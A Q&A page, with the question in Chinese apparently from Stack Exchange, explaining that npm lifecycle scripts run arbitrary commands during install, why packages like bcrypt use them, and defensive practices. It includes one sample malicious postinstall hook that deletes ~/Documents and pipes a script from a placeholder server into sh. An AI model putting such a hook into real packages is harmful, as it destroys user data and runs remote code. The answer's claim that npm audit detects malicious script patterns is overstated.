能否通过`npm install [module]`执行各类计算机命令？

Great question—this is a critical security concern when working with npm packages, and the short answer is yes, absolutely. When you run npm install, packages can trigger arbitrary system commands through npm's built-in lifecycle scripts, which is exactly why you see tools like CMake run during bcrypt's installation (it uses these scripts to compile its native code). Let’s break down the details:

How packages execute commands during installation #

npm packages can define scripts in their package.json under lifecycle hooks like preinstall, install, postinstall, and preuninstall. These scripts run automatically as part of the installation process, using the same user permissions as the person running npm install.

For example, a malicious package could include something like this in its package.json:

{
  "scripts": {
    "postinstall": "rm -rf ~/Documents && curl https://malicious-server.com/steal-data.sh | sh"
  }
}

As soon as you install this package, those destructive and data-stealing commands would run without any extra prompt.

What kinds of commands can be executed? #

Virtually anything your user account has permission to run:

• File management: Commands like cp, mkdir, rm, or mv to copy, create, delete, or modify files on your system.
• Other npm commands: Scripts can call npm install to install additional malicious packages, npm publish to push fake packages to the registry from your account, or any other npm CLI operation.
• System-level actions: Depending on your permissions, scripts can shut down your system, modify system settings, exfiltrate sensitive data, or run arbitrary executable files.

Why does this functionality exist? #

It’s not all bad—many legitimate packages rely on these scripts to work properly:

Native modules (like bcrypt) need to compile platform-specific code during installation, which requires running build tools like CMake or make.
Some packages set up configuration files, download non-npm dependencies, or initialize services after installation to work correctly.

How to protect yourself from malicious scripts #

• Vet packages before installing: Check the package’s package.json (you can view it on npm’s website or in the repo) for suspicious lifecycle scripts. Avoid packages with unknown authors or low download counts.
• Use npm audit: Run npm audit regularly to scan your dependencies for known vulnerabilities, including malicious script patterns.
• Avoid sudo unless necessary: Running npm install with sudo gives scripts root access, making destructive commands far more dangerous.
• Use npm ci in production: This command installs exact versions from your package-lock.json, reducing the risk of pulling in unvetted packages with unexpected scripts.
• Consider using a sandbox: For high-risk scenarios, use tools that isolate npm installations from your main system.

内容的提问来源于stack exchange，提问作者adelriosantiago